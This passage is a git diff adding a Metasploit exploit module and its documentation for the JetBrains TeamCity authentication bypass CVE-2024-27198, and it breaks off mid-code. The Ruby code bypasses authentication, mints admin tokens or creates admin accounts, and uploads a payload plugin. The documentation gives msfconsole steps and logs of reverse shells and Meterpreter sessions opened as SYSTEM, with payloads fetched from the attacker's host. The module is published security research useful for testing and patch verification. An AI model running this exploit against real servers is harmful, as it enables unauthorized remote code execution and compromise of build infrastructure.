diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md new file mode 100644 index 000000000000..71569ceedb02 --- /dev/null +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -0,0 +1,448 @@ +## Vulnerable Application +This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated +attacker can leverage this to access the REST API and create a new administrator access token. This token +can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve +unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist +so the exploit will instead create a new administrator account before uploading a plugin. Older version of +TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, +however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code +execution instead, as this is supported on all versions tested. + +For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis). + +## Testing +[Download](https://www.jetbrains.com/teamcity/download/) and +[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of +TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP +connections on port 8111 (Older version of the product listen on port 80 by default). + +The exploit has been tested against: + * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 + * TeamCity 2023.11.3 (build 147512) running on Linux + * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 + +## Verification Steps +Note: On Windows, disable Defender if you are using the default payloads. + +Note: The check routine will display the target platform, this can be used to decide what target to select if the +command payloads are to be used. The Java payloads are platform agnostic. + +1. Start msfconsole +2. `use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198` +3. `set RHOST ` +4. `set target 0` +5. `set payload java/meterpreter/reverse_tcp` +6. `set LHOST eth0` +7. `check` +8. `exploit` + +## Options + +### TEAMCITY_ADMIN_ID +The user ID of an administrator account on the server. As the first user created during installation is an +administrator account, the ID will be 1 by default. + +## Scenarios + +### Java + +``` +msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198 +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68 +RHOST => 192.168.86.68 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 Java + 1 Java Server Page + 2 Windows Command + 3 Linux Command + 4 Unix Command + + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0 +target => 0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp +payload => java/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.c1hvczdQOUFMX2J5Z3NiZU9MYzFDSEdPQ213.Mzk3NmQ5MmQtOTBmOC00OGNjLTkyNWEtMzRhYWI2YzUwMTU4 +[*] Uploading plugin: TdbCU0EE +[*] Sending stage (57971 bytes) to 192.168.86.68 +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.68:53099) at 2024-02-23 14:13:22 +0000 +[*] Deleting the plugin... +[*] Deleting the authentication token... +[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\TdbCU0EE' on the target +[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_TdbCU0EE' on the target +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\TdbCU0EE' on the target + +meterpreter > getuid +Server username: WIN-CMULENHFCK7$ +meterpreter > sysinfo +Computer : WIN-CMULENHFCK7 +OS : Windows Server 2022 10.0 (amd64) +Architecture : x64 +System Language : en_IE +Meterpreter : java/windows +meterpreter > +``` + +### Java Server Page + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1 +target => 1 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp +payload => java/jsp_shell_reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CreateSession true no Create a new session for every successful login + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 1 Java Server Page + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.OFNzM2pkZW5IMXp0V2stY2VqWEtOZkpoOW9Z.ZWU4Y2I2ODgtZDQzMS00ZjE5LTk5NzgtNGY5YzMwM2VmMjcx +[*] Uploading plugin: jWHObFbu +[*] Deleting the plugin... +[*] Deleting the authentication token... +[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.68:53110) at 2024-02-23 14:20:35 +0000 +[!] This exploit may require manual cleanup of 'C:\TeamCity\webapps\ROOT\plugins\jWHObFbu' on the target +[!] This exploit may require manual cleanup of 'C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_jWHObFbu' on the target +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\jWHObFbu' on the target + + +Shell Banner: +Microsoft Windows [Version 10.0.20348.1547] +(c) Microsoft Corporation. All rights reserved. +----- + + +c:\TeamCity\bin>whoami +whoami +nt authority\system + +c:\TeamCity\bin> +``` + +### Windows Command + +Note: Ensure the target is a Windows target by confirming via the `check` command. + +Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`. + +Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2 +target => 2 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/ +Display all 623 possibilities? (y or n) +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME qaZbVnKb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 2 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +[+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ZHpiZmNJMlB1b2Zqam5NSkw0bk1JS1hFdlZz.MjVjZDQ3YjEtODM2YS00Y2I1LWE3ODEtMzUzMTgzMDc4NjA3 +[*] Uploading plugin: RzeS0eJP +[*] Deleting the plugin... +[*] Sending stage (201798 bytes) to 192.168.86.68 +[*] Deleting the authentication token... +[+] Deleted C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_RzeS0eJP +[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.68:53113) at 2024-02-23 14:21:43 +0000 +[!] This exploit may require manual cleanup of 'C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\RzeS0eJP' on the target + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-CMULENHFCK7 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > pwd +c:\TeamCity\bin +meterpreter > +``` + +### Linux Command + +Note: Ensure the target is a Linux target by confirming via the `check` command. + +Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`. + +Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43 +RHOSTS => 192.168.86.43 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3 +target => 3 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME cWStJXIvdtmM no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 3 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.NVAxemdUTVFnSlp4Um1jdkN5Yi12dk1wNkJR.NTIyNTA1NjgtOWM3Zi00YzdiLTkzMTEtYTc2Y2ZkZjRjYTVl +[*] Uploading plugin: CyGZ1ME5 +[*] Sending stage (3045380 bytes) to 192.168.86.43 +[*] Deleting the plugin... +[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.43:55572) at 2024-02-23 14:24:37 +0000 +[*] Deleting the authentication token... +[!] This exploit may require manual cleanup of '/opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_CyGZ1ME5' on the target +[!] This exploit may require manual cleanup of '/home/teamcity/.BuildServer/system/caches/plugins.unpacked/CyGZ1ME5' on the target + +meterpreter > getuid +Server username: teamcity +meterpreter > sysinfo +Computer : 192.168.86.43 +OS : Ubuntu 22.04 (Linux 6.5.0-15-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/opt/TeamCity/bin +meterpreter > +``` + +### Unix Command + +This target is suitable for targeting Linux, OSX, or any of the unofficially supported platforms such as +Solaris, FreeBSD and so on. + +Note: Ensure the target is a Unix-like target by confirming via the `check` command. + +``` +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4 +target => 4 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options + +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8111 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to TeamCity + TEAMCITY_ADMIN_ID 1 yes The ID of an administrator account to authenticate as + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CreateSession true no Create a new session for every successful login + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 4 Unix Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check +[+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. +[*] Created authentication token: eyJ0eXAiOiAiVENWMiJ9.ME9Xa2xIMDhSYmtxTVBMaThGWDdObVJaakZ3.MDdhNDM0NzktYWM3ZC00NzAzLTk4ZmUtNjVlMzQ3MGMwOGIz +[*] Uploading plugin: 4V9kOD1D +[*] Deleting the plugin... +[*] Deleting the authentication token... +[+] Deleted /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_4V9kOD1D +[+] Deleted /home/teamcity/.BuildServer/system/caches/plugins.unpacked/4V9kOD1D +[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.43:44878) at 2024-02-23 14:27:04 +0000 + +id +uid=1002(teamcity) gid=1002(teamcity) groups=1002(teamcity) +uname -a +Linux teamcity-ubuntu-test 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/opt/TeamCity/bin +``` diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb new file mode 100644 index 000000000000..4b98f1dfb103 --- /dev/null +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -0,0 +1,716 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated + attacker can leverage this to access the REST API and create a new administrator access token. This token + can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve + unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist + so the exploit will instead create a new administrator account before uploading a plugin. Older version of + TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, + however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code + execution instead, as this is supported on all versions tested. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # Discovery, Analysis, Exploit + ], + 'References' => [ + ['CVE', '2024-27198'], + ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'], + ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/'] + ], + 'DisclosureDate' => '2024-03-04', + 'Platform' => %w[java win linux unix], + 'Arch' => [ARCH_JAVA, ARCH_CMD], + 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. + # Tested against: + # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 + # * TeamCity 2023.11.3 (build 147512) running on Linux + # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 + 'Targets' => [ + [ + 'Java', { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'DefaultOptions' => { + # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to + # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown + # reason Spawn > 0 will not work against TeamCity on Linux. + 'Spawn' => 0 + } + } + ], + [ + 'Java Server Page', { + 'Platform' => %w[win linux unix], + 'Arch' => ARCH_JAVA + } + ], + [ + 'Windows Command', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } + ], + [ + 'Linux Command', { + 'Platform' => 'linux', + 'Arch' => ARCH_CMD + } + ], + [ + 'Unix Command', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on + # port 80 by default). + Opt::RPORT(8111), + OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']), + # The first user created during installation is an administrator account, so the ID will be 1. + OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]) + ] + ) + end + + # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated. + def send_auth_bypass_request_cgi(opts = {}) + # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp) + vars_get = { + 'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp" + } + + # Add in 0 or more random query parameters, and ensure the order is shuffled in the request. + 0.upto(rand(8)) do + vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16)) + end + + opts['vars_get'] ||= {} + + opts['vars_get'].merge!(vars_get) + + opts['shuffle_get_params'] = true + + opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8)) + + send_request_cgi(opts) + end + + def check + # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the + # target is vulnerable. + server_res = send_auth_bypass_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server') + ) + + return CheckCode::Unknown('Connection failed') unless server_res + + # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden) + return CheckCode::Safe if server_res.code == 403 + + return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200 + + # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the + # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target + # platform can help inform the user what payload target to choose (i.e. Windows or Linux). + sysprop_res = send_auth_bypass_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties') + ) + + platform = '' + + if sysprop_res&.code == 200 + xml_sysprop_data = sysprop_res.get_xml_document + + os_name = xml_sysprop_data&.at('property[name="os.name"]') + + platform = " running on #{os_name.attr('value')}" if os_name + end + + xml_server_data = server_res.get_xml_document + + server_data = xml_server_data&.at('server') + + version = " #{server_data.attr('version')}" if server_data + + CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.") + end + + def exploit + # + # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018) + # do not have support for access token, so we fall back to creating a new administrator account. The benefit + # of using an access token is we can delete it when we are finished, unlike a user account. + # + token_name = Rex::Text.rand_text_alphanumeric(8) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name) + ) + + if res && (res.code == 404) && res.body.include?('api.NotFoundException') + + print_warning('Tokens API not found, falling back to creating an admin user.') + + token_name = nil + token_value = nil + + http_authorization = auth_new_admin_user + + fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil? + else + unless res&.code == 200 + # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here + # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. + if res && (res.code == 404) && res.body.include?('User not found') + print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.') + end + + fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') + end + + # Extract the authentication token from the response. + token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s + + fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil? + + print_status("Created authentication token: #{token_value}") + + http_authorization = "Bearer #{token_value}" + end + + # As we have created an access token, this begin block ensures we delete the token when we are done. + begin + # + # 2. Create a malicious TeamCity plugin to host our payload. + # + plugin_name = Rex::Text.rand_text_alphanumeric(8) + + zip_plugin = create_payload_plugin(plugin_name) + + fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil? + + # + # 3. Upload the payload plugin to the TeamCity server + # + print_status("Uploading plugin: #{plugin_name}") + + message = Rex::MIME::Message.new + + message.add_part( + "#{plugin_name}.zip", + nil, + nil, + 'form-data; name="fileName"' + ) + + message.add_part( + zip_plugin.pack.to_s, + 'application/octet-stream', + 'binary', + "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\"" + ) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'), + 'ctype' => 'multipart/form-data; boundary=' + message.bound, + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + }, + 'data' => message.to_s + ) + + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200 + + # + # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. + # + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + }, + 'vars_post' => { + 'action' => 'loadAll', + 'plugins' => plugin_name + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200 + + # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. + begin + # + # 5. Begin to clean up, register several paths for cleanup. + # + if (install_path, sep = get_install_path(http_authorization)) + vprint_status("Target install path: #{install_path}") + + if target['Arch'] == ARCH_JAVA + # The Java payload plugin will have its buildServerResources extracted to a path like: + # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ + # So we register this for cleanup. + # Note: The java process may recreate this a second time after we delete it. + register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) + end + + if (build_number = get_build_number(http_authorization)) + vprint_status("Target build number: #{build_number}") + + # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a + # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ + # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although + # it will be empty. + register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) + else + print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') + end + else + print_warning('Could not discover install path. Unable to register files for cleanup.') + end + + # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin. + # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/ + if (data_path = get_data_dir_path(http_authorization)) + vprint_status("Target data directory path: #{data_path}") + + register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep)) + else + print_warning('Could not discover data directory path. Unable to register files for cleanup.') + end + + # + # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java + # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. + # + if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200 + end + ensure + # + # 7. Ensure we delete the plugin from the server when we are finished. + # + print_status('Deleting the plugin...') + + print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name) + end + ensure + # + # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and + # password, we cannot delete the user account we created. + # + if token_name && token_value + print_status('Deleting the authentication token...') + + print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) + end + end + end + + def auth_new_admin_user + admin_username = Faker::Internet.username + admin_password = Rex::Text.rand_text_alphanumeric(16) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), + 'ctype' => 'application/json', + 'data' => { + 'username' => admin_username, + 'password' => admin_password, + 'name' => 